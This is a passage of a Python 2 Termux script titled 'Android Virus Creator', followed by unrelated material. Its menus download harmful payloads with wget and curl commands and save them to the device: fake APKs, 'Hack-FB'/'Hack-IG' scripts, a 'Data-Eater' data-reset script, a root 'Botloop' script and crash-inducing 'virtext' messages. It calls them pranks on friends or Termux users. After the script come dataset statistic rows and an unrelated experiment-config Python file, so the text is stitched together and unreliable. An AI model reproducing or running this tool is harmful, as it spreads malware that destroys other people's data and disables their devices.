slowprint('Please wait for a few minutes ...')
os.system('wget -S https://raw.githubusercontent.com/saydog/vdapp/master/Fake-Valid.apk;mv Fake-Valid.apk /$HOME')
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/$HOME\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
app()
if b == '2' in b:
exit()
else:
if pilapp == '21' in pilapp:
a = raw_input('\x1b[41mSave file to :\x1b[00m [1] sdcard [2] $HOME (1/2) > ')
if a == '1' in a:
slowprint('Please wait for a few minutes ...')
os.system('wget -S https://raw.githubusercontent.com/saydog/vdapp/master/FakeAV.apk;mv FakeAV.apk /sdcard')
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/sdcard\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
app()
if b == '2' in b:
exit()
if a == '2' in a:
slowprint('Please wait for a few minutes ...')
os.system('wget -S https://raw.githubusercontent.com/saydog/vdapp/master/FakeAV.apk;mv FakeAV.apk /$HOME')
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/$HOME\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
app()
if b == '2' in b:
exit()
else:
if pilapp == '22' in pilapp:
a = raw_input('\x1b[41mSave file to :\x1b[00m [1] sdcard [2] $HOME (1/2) > ')
if a == '1' in a:
slowprint('Please wait for a few minutes ...')
os.system('wget -S https://raw.githubusercontent.com/saydog/vdapp/master/Image-PETS.apk;mv Image-PETS.apk /sdcard')
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/sdcard\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
app()
if b == '2' in b:
exit()
if a == '2' in a:
slowprint('Please wait for a few minutes ...')
os.system('wget -S https://raw.githubusercontent.com/saydog/vdapp/master/Image-PETS.apk;mv Image-PETS.apk /$HOME')
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/$HOME\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
app()
if b == '2' in b:
exit()
else:
if pilapp == '23' in pilapp:
a = raw_input('\x1b[41mSave file to :\x1b[00m [1] sdcard [2] $HOME (1/2) > ')
if a == '1' in a:
slowprint('Please wait for a few minutes ...')
os.system('wget -S https://raw.githubusercontent.com/saydog/vdapp/master/Laugther.apk;mv Laugther.apk /sdcard')
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/sdcard\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
app()
if b == '2' in b:
exit()
if a == '2' in a:
slowprint('Please wait for a few minutes ...')
os.system('wget -S https://raw.githubusercontent.com/saydog/vdapp/master/Laugther.apk;mv Laugther.apk /$HOME')
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/$HOME\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
app()
if b == '2' in b:
exit()
else:
if pilapp == '24' in pilapp:
a = raw_input('\x1b[41mSave file to :\x1b[00m [1] sdcard [2] $HOME (1/2) > ')
if a == '1' in a:
slowprint('Please wait for a few minutes ...')
os.system('wget -S https://raw.githubusercontent.com/saydog/vdapp/master/OMYGOD.apk;mv OMYGOD.apk /sdcard')
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/sdcard\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
app()
if b == '2' in b:
exit()
if a == '2' in a:
slowprint('Please wait for a few minutes ...')
os.system('wget -S https://raw.githubusercontent.com/saydog/vdapp/master/OMYGOD.apk;mv OMYGOD.apk /$HOME')
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/$HOME\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
app()
if b == '2' in b:
exit()
else:
if pilapp == '25' in pilapp:
a = raw_input('\x1b[41mSave file to :\x1b[00m [1] sdcard [2] $HOME (1/2) > ')
if a == '1' in a:
slowprint('Please wait for a few minutes ...')
os.system('wget -S https://raw.githubusercontent.com/saydog/vdapp/master/Sms-WORKER.apk;mv Sms-WORKER.apk /sdcard')
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/sdcard\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
app()
if b == '2' in b:
exit()
if a == '2' in a:
slowprint('Please wait for a few minutes ...')
os.system('wget -S https://raw.githubusercontent.com/saydog/vdapp/master/Sms-WORKER.apk;mv Sms-WORKER.apk /$HOME')
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/$HOME\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
app()
if b == '2' in b:
exit()
else:
if pilapp == '99' in pilapp:
main()
else:
app()
def python():
os.system('clear')
slowprint(logo)
slowprint('VIRUS FILE PYTHON')
slowprint('After you creating Python Virus please check your connections')
slowprint('Your termux must have a permissions to storage for save to /sdcard')
print ''
print ' FILE NAME Description'
print '-------------------- -----------'
print ' \x1b[1;33m1.\x1b[00m Fake-HackFB\x1b[1;91m Termux Error'
print ' \x1b[1;33m2.\x1b[00m Fake-HackIG\x1b[1;91m Termux Blank'
print ' \x1b[1;33m3.\x1b[00m Fake-Tools \x1b[41mPRO\x1b[00m\x1b[1;91m Coming Soon'
print ' \x1b[1;33m4.\x1b[00m Logger\x1b[1;91m Coming Soon'
print ' \x1b[1;33m5.\x1b[00m Backdoor\x1b[1;91m Coming soon'
print ' \x1b[1;33m0. Back\x1b[00m'
print ''
print 'Dont use this tools for criminal actions!'
print 'Just for fun & prank your friends or Termux User'
print ''
pilpy = raw_input('Virus\xc2\xaeDroid > ')
if pilpy == '':
python()
else:
if pilpy == '1' in pilpy:
a = raw_input('\x1b[41mSave file to :\x1b[00m [1] sdcard [2] $HOME (1/2) > ')
if a == '1' in a:
slowprint('Please wait for a few minutes ...')
os.system('wget -S https://raw.githubusercontent.com/saydog/vdapp/master/darkfb.py;mv darkfb.py /sdcard')
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/sdcard\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
python()
if b == '2' in b:
exit()
if a == '2' in a:
slowprint('Please wait for a few minutes ...')
os.system('wget -S https://raw.githubusercontent.com/saydog/vdapp/master/darkfb.py;mv darkfb.py /$HOME')
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/$HOME\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
python()
if b == '2' in b:
exit()
else:
if pilpy == '2' in pilpy:
a = raw_input('\x1b[41mSave file to :\x1b[00m [1] sdcard [2] $HOME (1/2) > ')
if a == '1' in a:
slowprint('Please wait for a few minutes ...')
os.system('wget -S https://raw.githubusercontent.com/saydog/vdapp/master/Hack-IG.py;mv Hack-IG.py /sdcard')
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/sdcard\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
python()
if b == '2' in b:
exit()
if a == '2' in a:
slowprint('Please wait for a few minutes ...')
os.system('wget -S https://raw.githubusercontent.com/saydog/vdapp/master/Hack-IG.py;mv Hack-IG.py /$HOME')
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/$HOME\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
python()
if b == '2' in b:
exit()
else:
if pilpy == '3' in pilpy:
slowprint('\x1b[41mCOMING SOON\x1b[00m Next update !')
a = raw_input('[ENTER] Back > ')
python()
else:
if pilpy == '4' in pilpy:
slowprint('\x1b[41mCOMING SOON\x1b[00m Next update !')
a = raw_input('[ENTER] Back > ')
python()
else:
if pilpy == '5' in pilpy:
slowprint('\x1b[41mCOMING SOON\x1b[00m Next update !')
a = raw_input('[ENTER] Back > ')
python()
else:
if pilpy == '0' in pilpy:
main()
else:
python()
def bash():
os.system('clear')
slowprint(logo)
slowprint('VIRUS FILE BASH/SHELL')
slowprint('After you creating Bash Virus please check your connections')
slowprint('Your termux must have a permissions to storage for save to /sdcard')
print ''
print ' FILE NAME Description'
print '-------------------- -----------'
print ' \x1b[1;33m1.\x1b[00m Data-Eater\x1b[1;91m Reset Data'
print ' \x1b[1;33m2.\x1b[00m Auto Botloop \x1b[41mROOT\x1b[00m\x1b[1;91m Botloop'
print ' \x1b[1;33m3.\x1b[00m Auto Freeze\x1b[1;91m Coming Soon'
print ' \x1b[1;33m4.\x1b[00m Logger\x1b[1;91m Coming Soon'
print ' \x1b[1;33m5.\x1b[00m Backdoor\x1b[1;91m Coming Soon'
print ' \x1b[1;33m0. Back\x1b[00m'
print ''
print 'Dont use this tools for criminal actions!'
print 'Just for fun & prank your friends or Termux User'
print ''
pilbash = raw_input('Virus\xc2\xaeDroid > ')
if pilbash == '':
bash()
else:
if pilbash == '1' in pilbash:
a = raw_input('\x1b[41mSave file to :\x1b[00m [1] sdcard [2] $HOME (1/2) > ')
if a == '1' in a:
slowprint('Please wait for a few minutes ...')
os.system('wget -S https://raw.githubusercontent.com/saydog/vdapp/master/Data-eater.sh;mv Data-eater.sh /sdcard')
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/sdcard\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
bash()
if b == '2' in b:
exit()
if a == '2' in a:
slowprint('Please wait for a few minutes ...')
os.system('wget -S https://raw.githubusercontent.com/saydog/vdapp/master/Data-eater.sh;mv Data-eater.sh /$HOME')
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/$HOME\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
bash()
if b == '2' in b:
exit()
else:
if pilbash == '2' in pilbash:
a = raw_input('\x1b[41mSave file to :\x1b[00m [1] sdcard [2] $HOME (1/2) > ')
if a == '1' in a:
slowprint('Please wait for a few minutes ...')
os.system('wget -S https://raw.githubusercontent.com/saydog/vdapp/master/Botloop.sh;mv Botloop.sh /sdcard')
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/sdcard\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
bash()
if b == '2' in b:
exit()
if a == '2' in a:
slowprint('Please wait for a few minutes ...')
os.system('wget -S https://raw.githubusercontent.com/saydog/vdapp/master/Botloop.sh;mv Botloop.sh /$HOME')
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/$HOME\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
bash()
if b == '2' in b:
exit()
else:
if pilbash == '3' in pilbash:
slowprint('\x1b[41mCOMING SOON\x1b[00m Next update !')
a = raw_input('[ENTER] Back > ')
bash()
else:
if pilbash == '4' in pilbash:
slowprint('\x1b[41mCOMING SOON\x1b[00m Next update !')
a = raw_input('[ENTER] Back > ')
bash()
else:
if pilbash == '5' in pilbash:
slowprint('\x1b[41mCOMING SOON\x1b[00m Next update !')
a = raw_input('[ENTER] Back > ')
bash()
else:
if pilbash == '0' in pilbash:
main()
else:
bash()
def virtex():
os.system('clear')
slowprint(logo)
slowprint('VIRUS TEXT UNICODE')
slowprint('After you creating Virtext please check your connections')
slowprint('Your termux must have a permissions to storage for save to /sdcard')
print ''
print ' FILE NAME LEVEL'
print '-------------------- -----------'
print ' \x1b[1;33m1.\x1b[00m Virtext Pending\x1b[1;91m Exellent'
print ' \x1b[1;33m2.\x1b[00m Virtext Ganas-1\x1b[1;91m Good'
print ' \x1b[1;33m3.\x1b[00m Virtext Ganas-2\x1b[1;91m Good'
print ' \x1b[1;33m4.\x1b[00m Virtext Ganas-3\x1b[1;91m Good'
print ' \x1b[1;33m5.\x1b[00m Virtext Dark\x1b[1;91m Good'
print ' \x1b[1;33m6.\x1b[00m Virtext Kontak\x1b[1;91m Good'
print ' \x1b[1;33m7.\x1b[00m Virtext StarBuddy\x1b[1;91m Good'
print ' \x1b[1;33m8.\x1b[00m Virtext Wolf\x1b[1;91m Exellent'
print ' \x1b[1;33m9.\x1b[00m Virtext Coly\x1b[1;91m Exellent'
print '\x1b[1;33m10.\x1b[00m Virtext Indoensia\x1b[1;91m Good'
print '\x1b[1;33m99. Back\x1b[00m'
print ''
print 'Dont use this tools for criminal actions!'
print 'Just for fun & prank your friends or Termux User'
print ''
piltex = raw_input('Virus\xc2\xaeDroid > ')
if piltex == '':
virtex()
else:
if piltex == '1' in piltex:
a = raw_input('\x1b[41mSave file to :\x1b[00m [1] sdcard [2] $HOME (1/2) > ')
if a == '1' in a:
slowprint('Please wait for a few minutes ...')
os.system('wget -S https://doc-00-5s-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/rdmrdiuefk33rhd3ifpposmvo4qrm54b/1570687200000/13570898479402528222/\\*/13pRzWatHwifXLpncNteYnMPNMBwwcVIB\\?e\\=download')
os.system("cat '13pRzWatHwifXLpncNteYnMPNMBwwcVIB?e=download' > /sdcard/V-pending.txt;rm '13pRzWatHwifXLpncNteYnMPNMBwwcVIB?e=download'")
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/sdcard\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
virtex()
if b == '2' in b:
exit()
if a == '2' in a:
slowprint('Please wait for a few minutes ...')
os.system('wget -S https://doc-00-5s-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/rdmrdiuefk33rhd3ifpposmvo4qrm54b/1570687200000/13570898479402528222/\\*/13pRzWatHwifXLpncNteYnMPNMBwwcVIB\\?e\\=download')
os.system("cat '13pRzWatHwifXLpncNteYnMPNMBwwcVIB?e=download' > /$HOME/V-pending.txt;rm '13pRzWatHwifXLpncNteYnMPNMBwwcVIB?e=download'")
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/$HOME\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
virtex()
if b == '2' in b:
exit()
else:
if piltex == '2' in piltex:
a = raw_input('\x1b[41mSave file to :\x1b[00m [1] sdcard [2] $HOME (1/2) > ')
if a == '1' in a:
slowprint('Please wait for a few minutes ...')
os.system('wget -S https://raw.githubusercontent.com/saydog/vdapp/master/V-ganas1.txt;mv V-ganas1.txt /sdcard')
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/sdcard\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
virtex()
if b == '2' in b:
exit()
if a == '2' in a:
slowprint('Please wait for a few minutes ...')
os.system('wget -S https://raw.githubusercontent.com/saydog/vdapp/master/V-ganas1.txt;mv V-ganas1.txt /$HOME')
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/$HOME\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
virtex()
if b == '2' in b:
exit()
else:
if piltex == '3' in piltex:
a = raw_input('\x1b[41mSave file to :\x1b[00m [1] sdcard [2] $HOME (1/2) > ')
if a == '1' in a:
slowprint('Please wait for a few minutes ...')
os.system('wget -S https://raw.githubusercontent.com/saydog/vdapp/master/V-ganas2.txt;mv V-ganas2.txt /sdcard')
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/sdcard\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
virtex()
if b == '2' in b:
exit()
if a == '2' in a:
slowprint('Please wait for a few minutes ...')
os.system('wget -S https://raw.githubusercontent.com/saydog/vdapp/master/V-ganas2.txt;mv V-ganas2.txt /$HOME')
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/$HOME\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
virtex()
if b == '2' in b:
exit()
else:
if piltex == '4' in piltex:
a = raw_input('\x1b[41mSave file to :\x1b[00m [1] sdcard [2] $HOME (1/2) > ')
if a == '1' in a:
slowprint('Please wait for a few minutes ...')
os.system('wget -S https://raw.githubusercontent.com/saydog/vdapp/master/V-ganas3.txt;mv V-ganas3.txt /sdcard')
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/sdcard\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
virtex()
if b == '2' in b:
exit()
if a == '2' in a:
slowprint('Please wait for a few minutes ...')
os.system('wget -S https://raw.githubusercontent.com/saydog/vdapp/master/V-ganas3.txt;mv V-ganas3.txt /$HOME')
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/$HOME\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
virtex()
if b == '2' in b:
exit()
else:
if piltex == '5' in piltex:
a = raw_input('\x1b[41mSave file to :\x1b[00m [1] sdcard [2] $HOME (1/2) > ')
if a == '1' in a:
slowprint('Please wait for a few minutes ...')
os.system('curl -o /sdcard/V-Dark.txt https://raw.githubusercontent.com/muhammadfathul/vir/master/V5.txt')
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/sdcard\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
virtex()
if b == '2' in b:
exit()
if a == '2' in a:
slowprint('Please wait for a few minutes ...')
os.system('curl -o /$HOME/V-Dark.txt https://raw.githubusercontent.com/muhammadfathul/vir/master/V5.txt')
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/$HOME\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
virtex()
if b == '2' in b:
exit()
else:
if piltex == '6' in piltex:
a = raw_input('\x1b[41mSave file to :\x1b[00m [1] sdcard [2] $HOME (1/2) > ')
if a == '1' in a:
slowprint('Please wait for a few minutes ...')
os.system('wget -S https://raw.githubusercontent.com/saydog/vdapp/master/V-Kontak.txt;mv V-Kontak.txt /sdcard')
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/sdcard\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
virtex()
if b == '2' in b:
exit()
if a == '2' in a:
slowprint('Please wait for a few minutes ...')
os.system('wget -S https://raw.githubusercontent.com/saydog/vdapp/master/V-Kontak.txt;mv V-Kontak.txt /$HOME')
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/$HOME\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
virtex()
if b == '2' in b:
exit()
else:
if piltex == '7' in piltex:
a = raw_input('\x1b[41mSave file to :\x1b[00m [1] sdcard [2] $HOME (1/2) > ')
if a == '1' in a:
slowprint('Please wait for a few minutes ...')
os.system('curl -o /sdcard/V-StarBuddy.txt https://raw.githubusercontent.com/muhammadfathul/vir/master/V7.txt')
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/sdcard\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
virtex()
if b == '2' in b:
exit()
if a == '2' in a:
slowprint('Please wait for a few minutes ...')
os.system('curl -o /$HOME/V-StarBuuddy.txt https://raw.githubusercontent.com/muhammadfathul/vir/master/V7.txt')
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/$HOME\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
virtex()
if b == '2' in b:
exit()
else:
if piltex == '8' in piltex:
a = raw_input('\x1b[41mSave file to :\x1b[00m [1] sdcard [2] $HOME (1/2) > ')
if a == '1' in a:
slowprint('Please wait for a few minutes ...')
os.system('curl -o /sdcard/V-Wolf.txt https://raw.githubusercontent.com/muhammadfathul/vir/master/V8.txt')
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/sdcard\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
virtex()
if b == '2' in b:
exit()
if a == '2' in a:
slowprint('Please wait for a few minutes ...')
os.system('curl -o /$HOME/V-Wolf.txt https://raw.githubusercontent.com/muhammadfathul/vir/master/V8.txt')
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/$HOME\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
virtex()
if b == '2' in b:
exit()
else:
if piltex == '9' in piltex:
a = raw_input('\x1b[41mSave file to :\x1b[00m [1] sdcard [2] $HOME (1/2) > ')
if a == '1' in a:
slowprint('Please wait for a few minutes ...')
os.system('curl -o /sdcard/V-Coly.txt https://raw.githubusercontent.com/muhammadfathul/vir/master/V9.txt')
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/sdcard\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
virtex()
if b == '2' in b:
exit()
if a == '2' in a:
slowprint('Please wait for a few minutes ...')
os.system('curl -o /$HOME/V-Coly.txt https://raw.githubusercontent.com/muhammadfathul/vir/master/V9.txt')
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/$HOME\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
virtex()
if b == '2' in b:
exit()
else:
if piltex == '10' in piltex:
a = raw_input('\x1b[41mSave file to :\x1b[00m [1] sdcard [2] $HOME (1/2) > ')
if a == '1' in a:
slowprint('Please wait for a few minutes ...')
os.system('curl -o /sdcard/V-IDN-GANAS.txt https://raw.githubusercontent.com/muhammadfathul/vir/master/V20.txt')
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/sdcard\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
virtex()
if b == '2' in b:
exit()
if a == '2' in a:
slowprint('Please wait for a few minutes ...')
os.system('curl -o /$HOME/V-IDN-GANAS.txt https://raw.githubusercontent.com/muhammadfathul/vir/master/V20.txt')
print '\x1b[41mSUCCESS\x1b[00m'
slowprint('File Saved as \x1b[1;33m/$HOME\x1b[00m')
print ''
b = raw_input('\x1b[41mVIRUS-DROID :\x1b[00m [1] Back [2] Exit > ')
if b == '1' in b:
virtex()
if b == '2' in b:
exit()
else:
if piltex == '99' in piltex:
main()
else:
virtex()
def main():
os.system('clear')
slowprint(logo)
slowprint('WELCOME TO ANDROID VIRUS CREATOR !')
slowprint('Dont use this tools for Criminal Actions')
slowprint('For support me please subscribe youtube channel : SAYDOG')
print ''
print '\x1b[1;33m 1.\x1b[00m Virus App'
print '\x1b[1;33m 2.\x1b[00m Virus File Python'
print '\x1b[1;33m 3.\x1b[00m Virus File Bash/Shell'
print '\x1b[1;33m 4.\x1b[00m Virtext Unicode'
print '\x1b[1;33m 5.\x1b[00m Subscribe Channel \x1b[41mSAYDOG\x1b[00m'
print '\x1b[1;91m 0. Exit\x1b[00m'
print ''
iqbalmh18 = raw_input('Virus\xc2\xaeDroid > ')
if iqbalmh18 == '':
main()
else:
if iqbalmh18 == '1':
app()
else:
if iqbalmh18 == '2':
python()
else:
if iqbalmh18 == '3':
bash()
else:
if iqbalmh18 == '4':
virtex()
else:
if iqbalmh18 == '5':
os.system('xdg-open https://www.youtube.com/channel/UCDoJC1ZJ_SmYKZZLD8PBmcQ')
main()
else:
if iqbalmh18 == '0':
exit()
else:
main()
main()
| 82.463435 | 4,092 | 0.309392 | 8,525 | 100,358 | 3.62651 | 0.037654 | 0.065985 | 0.081511 | 0.104412 | 0.93395 | 0.932753 | 0.923211 | 0.899599 | 0.887793 | 0.886046 | 0 | 0.118307 | 0.594292 | 100,358 | 1,216 | 4,093 | 82.53125 | 0.641001 | 0.000538 | 0 | 0.804674 | 0 | 0.107679 | 0.320067 | 0.08291 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.000835 | null | null | 0.355593 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 10 |
5c9e76408dea0e5ee0fdc522f8b63ea257fc7e0e | 1,115 | py | Python | experiments/lib/experiment_codebase.py | princeton-sns/spanner-rss | 6d7bf5ee6487772cd4f93e8458b5f22ae775974a | [
"MIT"
] | 1 | 2021-11-24T01:38:28.000Z | 2021-11-24T01:38:28.000Z | experiments/lib/experiment_codebase.py | princeton-sns/spanner-rss | 6d7bf5ee6487772cd4f93e8458b5f22ae775974a | [
"MIT"
] | null | null | null | experiments/lib/experiment_codebase.py | princeton-sns/spanner-rss | 6d7bf5ee6487772cd4f93e8458b5f22ae775974a | [
"MIT"
] | null | null | null | from .rss_codebase import RssCodebase
__BUILDERS__ = {
"rss": RssCodebase()
}
def get_client_cmd(config, i, k, run, local_exp_directory, remote_exp_directory):
b = __BUILDERS__[config['codebase_name']]
return b.get_client_cmd(config, i, k, run, local_exp_directory, remote_exp_directory)
def get_replica_cmd(config, instance_idx, shard_idx, replica_idx, run, local_exp_directory, remote_exp_directory):
b = __BUILDERS__[config['codebase_name']]
return b.get_replica_cmd(config, instance_idx, shard_idx, replica_idx, run, local_exp_directory, remote_exp_directory)
def prepare_local_exp_directory(config, config_file):
b = __BUILDERS__[config['codebase_name']]
return b.prepare_local_exp_directory(config, config_file)
def prepare_remote_server_codebase(config, server_host, local_exp_directory, remote_out_directory):
b = __BUILDERS__[config['codebase_name']]
return b.prepare_remote_server_codebase(config, server_host, local_exp_directory, remote_out_directory)
def setup_nodes(config):
b = __BUILDERS__[config['codebase_name']]
return b.setup_nodes(config)
| 35.967742 | 122 | 0.790135 | 154 | 1,115 | 5.162338 | 0.207792 | 0.181132 | 0.171069 | 0.173585 | 0.880503 | 0.880503 | 0.880503 | 0.745912 | 0.644025 | 0.644025 | 0 | 0 | 0.116592 | 1,115 | 30 | 123 | 37.166667 | 0.807107 | 0 | 0 | 0.263158 | 0 | 0 | 0.060987 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.263158 | false | 0 | 0.052632 | 0 | 0.578947 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 8 |
7a30dcfe3b35fe40374e0f4968849e8833fc01e4 | 10,263 | py | Python | srfnef/ops/lors_generate_mixin.py | twj2417/srf | 63365cfd75199d70eea2273214a4fa580a9fdf2a | [
"Apache-2.0"
] | null | null | null | srfnef/ops/lors_generate_mixin.py | twj2417/srf | 63365cfd75199d70eea2273214a4fa580a9fdf2a | [
"Apache-2.0"
] | null | null | null | srfnef/ops/lors_generate_mixin.py | twj2417/srf | 63365cfd75199d70eea2273214a4fa580a9fdf2a | [
"Apache-2.0"
] | null | null | null | # encoding: utf-8
'''
@author: Minghao Guo
@contact: mh.guo0111@gmail.com
@software: nef
@file: lors_generate_mixin.py
@date: 5/21/2019
@desc:
'''
import numpy as np
